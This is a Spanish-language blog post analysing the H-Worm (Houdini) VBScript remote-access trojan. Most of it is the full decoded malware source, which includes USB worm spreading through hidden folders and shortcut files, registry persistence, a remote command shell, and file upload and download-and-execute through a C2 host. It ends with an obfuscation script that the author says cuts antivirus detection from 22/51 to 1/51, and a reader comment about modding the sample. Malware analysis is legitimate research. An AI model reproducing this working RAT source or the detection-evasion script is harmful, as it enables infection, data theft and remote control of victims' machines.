H-Worm de Houdini, un RAT con un server en VBScript

Recientemente ha caído en mis manos una muestra de un bot en VBS (Visual Basic Script), concretamente un server de un RAT bautizado como mugen.vbs, H-Worm o Houdini, este último nombre en honor a su desarrollador, se cree que de Argelia y creador de la saga njRAT.

Se trata de una sencilla y pequeña obra de arte que ya se distribuyó en algunos foros underground con un panel de control escrito en Delphi. Su método de propagación es un poco putada "molesto" ya que oculta las carpetas existentes de los dispositivos USB conectados y crea accesos directos con el mismo nombre para a su vez ejecutarlo.

La muestra que me facilitaron sólo tenía una capa de ofuscación, si bien lo normal es trabajar con un vbe, o que se utilicen varias conversiones como por ejemplo base64 u otros crypters, para dificultar la obtención del código fuente y sobretodo su detección por parte de motores de AV. De hecho el script analizado ya tenía un alto índice de detección (22/51).


En este caso obtener el código en claro es tan trivial como sustituir la función 'ExecuteGlobal' por otra que vuelque la salida a un fichero:

Set fso = CreateObject("scripting.filesystemobject")
Set fichero = fso.CreateTextFile("d:\pruebas\decrypted.txt", True)
...
fichero.write(GUaqJPiUjQAMzRRDxucOecldOO)
...
fichero.close

El resultado añadiendo unos pocos saltos de línea y tabulaciones es el siguiente:

host="ejemplo.no-ip.org"
port=1085
installdir="%temp%"
lnkfile=true
lnkfolder=true

dim shellobj
    set shellobj=wscript.createobject("wscript.shell")
dim filesystemobj
    set filesystemobj=createobject("scripting.filesystemobject")
dim httpobj
    set httpobj=createobject("msxml2.xmlhttp")

installname=wscript.scriptname
startup=shellobj.specialfolders("startup")&"\"
installdir=shellobj.expandenvironmentstrings(installdir)&"\"

if not filesystemobj.folderexists(installdir)
    then installdir=shellobj.expandenvironmentstrings("%temp%")&"\"
end if

spliter="<|>"
sleep=5000

dim response
dim cmd
dim param
info=""
usbspreading=""
startdate=""
dim oneonce
on error resume next
instance
while true
    install
    response=""
    response=post("is-ready","")
    cmd=split(response,spliter)
    select case cmd(0)
        case"excecute"
            param=cmd(1)
            execute param
        case"update"
            param=cmd(1)
            oneonce.close
            set oneonce=filesystemobj.opentextfile(installdir&installname,2,false)
            oneonce.write param
            oneonce.close
            shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)
            wscript.quit
        case"uninstall"
            uninstall
        case"send"
            download cmd(1),cmd(2)
        case"site-send"
            sitedownloader cmd(1),cmd(2)
        case"recv"
            param=cmd(1)
            upload(param)
        case"enum-driver"
            post"is-enum-driver",enumdriver
        case"enum-faf"
            param=cmd(1)
            post"is-enum-faf",enumfaf(param)
        case"enum-process"
            post"is-enum-process",enumprocess
        case"cmd-shell"
            param=cmd(1)
            post"is-cmd-shell",cmdshell(param)
        case"delete"
            param=cmd(1)
            deletefaf(param)
        case"exit-process"
            param=cmd(1)
            exitprocess(param)
        case"sleep"
            param=cmd(1)
            sleep=eval(param)
    end select
    wscript.sleep sleep
wend

sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    upstart
    for each drive in filesystemobj.drives
    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then filesystemobj.copyfile wscript.scriptfullname,drive.path&"\"&installname,true
    if filesystemobj.fileexists(drive.path&"\"&installname)then filesystemobj.getfile(drive.path&"\"&installname).attributes=2+4
    end if
    for each file in filesystemobj.getfolder(drive.path&"\").files
    if not lnkfile then exit for
    end if
    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=2+4
    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")
    set lnkobj=shellobj.createshortcut(drive.path&"\"&filename(0)&".lnk")
    lnkobj.windowstyle=7
    lnkobj.targetpath="cmd.exe"
    lnkobj.workingdirectory=""
    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start "&replace(file.name," ",chrw(34)&" "&chrw(34))&"&exit"
    fileicon=shellobj.regread("hkey_local_machine\software\classes\"&shellobj.regread("hkey_local_machine\software\classes\."&split(file.name,".")(ubound(split(file.name,".")))&"\")&"\defaulticon\")
    if instr(fileicon,",")=0 then lnkobj.iconlocation=file.path
    else lnkobj.iconlocation=fileicon
    end if
    lnkobj.save()
    end if
    end if
    end if
    next
    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders
    if not lnkfolder then exit for
    end if
    folder.attributes=2+4
    foldername=folder.name
    set lnkobj=shellobj.createshortcut(drive.path&"\"&foldername&".lnk")
    lnkobj.windowstyle=7
    lnkobj.targetpath="cmd.exe"
    lnkobj.workingdirectory=""
    lnkobj.arguments="/c start "&replace(installname," ",chrw(34)&" "&chrw(34))&"&start explorer "&replace(folder.name," ",chrw(34)&" "&chrw(34))&"&exit"
    foldericon=shellobj.regread("hkey_local_machine\software\classes\folder\defaulticon\")
    if instr(foldericon,",")=0 then lnkobj.iconlocation=folder.path
    else lnkobj.iconlocation=foldericon
    end if
    lnkobj.save()
    next
    end if
    end if
    end if
    next
    err.clear
end sub

sub uninstall
    on error resume next
    dim filename
    dim foldername
    shellobj.regdelete"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)
    shellobj.regdelete"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0)
    filesystemobj.deletefile startup&installname,true
    filesystemobj.deletefile wscript.scriptfullname,true
    for each drive in filesystemobj.drives
    if drive.isready=true then if drive.freespace>0 then if drive.drivetype=1 then for each file in filesystemobj.getfolder(drive.path&"\").files
    on error resume next
    if instr(file.name,".")then if lcase(split(file.name,".")(ubound(split(file.name,"."))))<>"lnk"then file.attributes=0
    if ucase(file.name)<>ucase(installname)then filename=split(file.name,".")
    filesystemobj.deletefile(drive.path&"\"&filename(0)&".lnk")
    else filesystemobj.deletefile(drive.path&"\"&file.name)
    end if
    else filesystemobj.deletefile(file.path)
    end if
    end if
    next
    for each folder in filesystemobj.getfolder(drive.path&"\").subfolders
    folder.attributes=0
    next
    end if
    end if
    end if
    next
    wscript.quit
end sub

function post(cmd,param)
    post=param
    httpobj.open"post","http
    //"& host&"
    "&port&"/"&cmd,false
    httpobj.setrequestheader"user-agent
    ",information
    httpobj.send param
    post=httpobj.responsetext
end function

function information
    on error resume next
    if inf=""then inf=hwid&spliter
    inf=inf&shellobj.expandenvironmentstrings("%computername%")&spliter
    inf=inf&shellobj.expandenvironmentstrings("%username%")&spliter
    set root=getobject("winmgmts
    {impersonationlevel=impersonate}!\\.\root\cimv2")
    set os=root.execquery("select * from win32_operatingsystem")
    for each osinfo in os
    inf=inf& osinfo.caption&spliter
    exit for
    next
    inf=inf&"plus"&spliter
    inf=inf&security&spliter
    inf=inf&usbspreading
    information=inf
    else information=inf
    end if
end function

sub upstart()
    on error resume next
    shellobj.regwrite"hkey_current_user\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"
    shellobj.regwrite"hkey_local_machine\software\microsoft\windows\currentversion\run\"&split(installname,".")(0),"wscript.exe //b "&chrw(34)&installdir&installname&chrw(34),"reg_sz"
    filesystemobj.copyfile wscript.scriptfullname,installdir&installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup&installname,true
end sub

function hwid
    on error resume next
    set root=getobject("winmgmts
    {impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks=root.execquery("select * from win32_logicaldisk")
    for each disk in disks
    if disk.volumeserialnumber<>""then hwid=disk.volumeserialnumber
    exit for
    end if
    next
end function

function security
    on error resume next
    security=""
    set objwmiservice=getobject("winmgmts
    {impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems=objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
    versionstr=split(objitem.version,".")
    next
    versionstr=split(colitems.version,".")
    osversion=versionstr(0)&"."
    for x=1 to ubound(versionstr)
    osversion=osversion&versionstr(i)
    next
    osversion=eval(osversion)
    if osversion>6 then sc="securitycenter2"else sc="securitycenter"
    end if
    set objsecuritycenter=getobject("winmgmts
    \\localhost\root\"&sc)
    set colantivirus=objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    for each objantivirus in colantivirus
    security=security& objantivirus.displayname&" ."
    next
    if security=""then security="nan-av"
    end if
end function

function instance
    on error resume next
    usbspreading=shellobj.regread("hkey_local_machine\software\"&split(installname,".")(0)&"\")
    if usbspreading=""then if lcase(mid(wscript.scriptfullname,2))="
    \"&lcase(installname)then usbspreading="true - "&date
    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"
    else usbspreading="false - "&date
    shellobj.regwrite"hkey_local_machine\software\"&split(installname,".")(0)&"\",usbspreading,"reg_sz"
    end if
    end if
    upstart
    set scriptfullnameshort=filesystemobj.getfile(wscript.scriptfullname)
    set installfullnameshort=filesystemobj.getfile(installdir&installname)
    if lcase(scriptfullnameshort.shortpath)<>lcase(installfullnameshort.shortpath)then shellobj.run"wscript.exe //b "&chr(34)&installdir&installname&chr(34)
    wscript.quit
    end if
    err.clear
    set oneonce=filesystemobj.opentextfile(installdir&installname,8,false)
    if err.number>0 then wscript.quit
    end if
end function

sub sitedownloader(fileurl,filename)
    strlink=fileurl
    strsaveto=installdir&filename
    set objhttpdownload=createobject("msxml2.xmlhttp")
    objhttpdownload.open"get",strlink,false
    objhttpdownload.send
    set objfsodownload=createobject("scripting.filesystemobject")
    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)
    end if
    if objhttpdownload.status=200 then dim objstreamdownload
    set objstreamdownload=createobject("adodb.stream")
    with objstreamdownload
    .type=1
    .open
    .write objhttpdownload.responsebody
    .savetofile strsaveto
    .close
    end with
    set objstreamdownload=nothing
    end if
    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath
    end if
end sub

sub download(fileurl,filedir)
    if filedir=""then filedir=installdir
    end if
    strsaveto=filedir&mid(fileurl,instrrev(fileurl,"\")+1)
    set objhttpdownload=createobject("msxml2.xmlhttp")
    objhttpdownload.open"post","http
    //"& host&"
    "&port&"/is-sending"&spliter&fileurl,false
    objhttpdownload.send""
    set objfsodownload=createobject("scripting.filesystemobject")
    if objfsodownload.fileexists(strsaveto)then objfsodownload.deletefile(strsaveto)
    end if
    if objhttpdownload.status=200 then dim objstreamdownload
    set objstreamdownload=createobject("adodb.stream")
    with objstreamdownload
    .type=1
    .open
    .write objhttpdownload.responsebody
    .savetofile strsaveto
    .close
    end with
    set objstreamdownload=nothing
    end if
    if objfsodownload.fileexists(strsaveto)then shellobj.run objfsodownload.getfile(strsaveto).shortpath
    end if
end sub

function upload(fileurl)
    dim httpobj,objstreamuploade,buffer
    set objstreamuploade=createobject("adodb.stream")
    with objstreamuploade
    .type=1
    .open
    .loadfromfile fileurl
    buffer=.read
    .close
    end with
    set objstreamdownload=nothing
    set httpobj=createobject("msxml2.xmlhttp")
    httpobj.open"post","http
    //"& host&"
    "&port&"/is-recving"&spliter&fileurl,false
    httpobj.send buffer
end function

function enumdriver()
    for each drive in filesystemobj.drives
    if drive.isready=true then enumdriver=enumdriver&drive.path&"|"&drive.drivetype&spliter
    end if
    next
    end function

    function enumfaf(enumdir)
    enumfaf=enumdir&spliter
    for each folder in filesystemobj.getfolder(enumdir).subfolders
    enumfaf=enumfaf&folder.name&"||d|"&folder.attributes&spliter
    next
    for each file in filesystemobj.getfolder(enumdir).files
    enumfaf=enumfaf&file.name&"|"&file.size&"|f|"&file.attributes&spliter
    next
end function

function enumprocess()
    on error resume next
    set objwmiservice=getobject("winmgmts
    \\.\root\cimv2")
    set colitems=objwmiservice.execquery("select * from win32_process",,48)
    dim objitem
    for each objitem in colitems
    enumprocess=enumprocess& objitem.name&"|"
    enumprocess=enumprocess& objitem.processid&"|"
    enumprocess=enumprocess& objitem.executablepath&spliter
    next
end function

sub exitprocess(pid)
    on error resume next
    shellobj.run"taskkill /f /t /pid "&pid,7,true
end sub

sub deletefaf(url)
    on error resume next
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
end sub

function cmdshell(cmd)
    dim httpobj,oexec,readallfromany
    set oexec=shellobj.exec("%comspec% /c "&cmd)
    if not oexec.stdout.atendofstream then readallfromany=oexec.stdout.readall
    else if not oexec.stderr.atendofstream then readallfromany=oexec.stderr.readall
    else readallfromany=""
    end if
    end if
    cmdshell=readallfromany
end function

Si echáis un vistazo al código anterior se diferencian claramente cada una de sus funciones:

- execute : ejecuta un comando específico
- update : cambia la configuración del malware. Por ejemplo, el nombre DNS dinámico
- uninstall : elimina el malware del sistema y limpia cada acceso directo .lnk
- send : copia un fichero desde el atacante a la víctima
- site-send : copia un fichero hospedado en un sitio web a la víctima
- recv : descarga un fichero desde el equipo de la víctima
- enum-driver : lista los discos del equipo de la víctima
- enum-faf : lista todos los ficheros y directorios del equipo de la víctima
- enum-process : lista todos los procesos en ejecución
- cmd-shell : abre un intérprete de comandos
- delete : borra un fichero o directorio del equipo de la víctima
- exit-process : mata un proceso específico del equipo de la víctima
- sleep : espera 5 segundos

Como véis, un server bastante funcional y programado en lenguaje de script. Además, es relativamente fácil darle un par de vueltas para conseguir que sea FuD . Por ejemplo, unas modificaciones a este script de st0le:

Randomize
set fso = CreateObject("Scripting.FileSystemObject")
fileName = Inputbox("Ruta del fichero : ")

set src = fso.OpenTextfile(fileName,1)
body = src.readall
set rep  = fso.createtextfile("ofuscado.vbs",true)
rep.writeline "Execute(" & Obfuscate(body) & " ) "

Function Obfuscate(txt)
enc = ""
for i = 1 to len(txt)
enc = enc & "chr( " & form( asc(mid(txt,i,1)) ) & " ) & "
next
Obfuscate = enc & " vbcrlf "
End Function

Function form(n)

r = int(rnd * 13000)
k = int(rnd * 4)
if( k = 0) then ret = (r+n) & "-" & r
if( k = 1) then ret = (n-r) & "+" & r
if( k = 2) then ret = (n*r) & "/" & r
form = ret
End Function

Y la detección baja de 22/51 a 1/51... }:P

Referencias:
- Now You See Me – H-worm by Houdini
- Como eliminar el virus MUGEN.vbs de una memoria USB y de la PC
- Analizando el malware MUGEN.VBS
- In-depth analysis of mmpifmxnth..vbs malware
- Autopsia a un Malware en VBS

Comentarios

  1. Que bueno..Avast no me permite acceder al link....tuve que "dormirlo" para ver el post.
    Ta claro que la firma está recogida...
    Hay que modearlo y probarlo.+10 xD.

    ResponderEliminar
  2. http://foro.elhacker.net/buscador-t407434.0.html seguro les interesara.

    ResponderEliminar

Publicar un comentario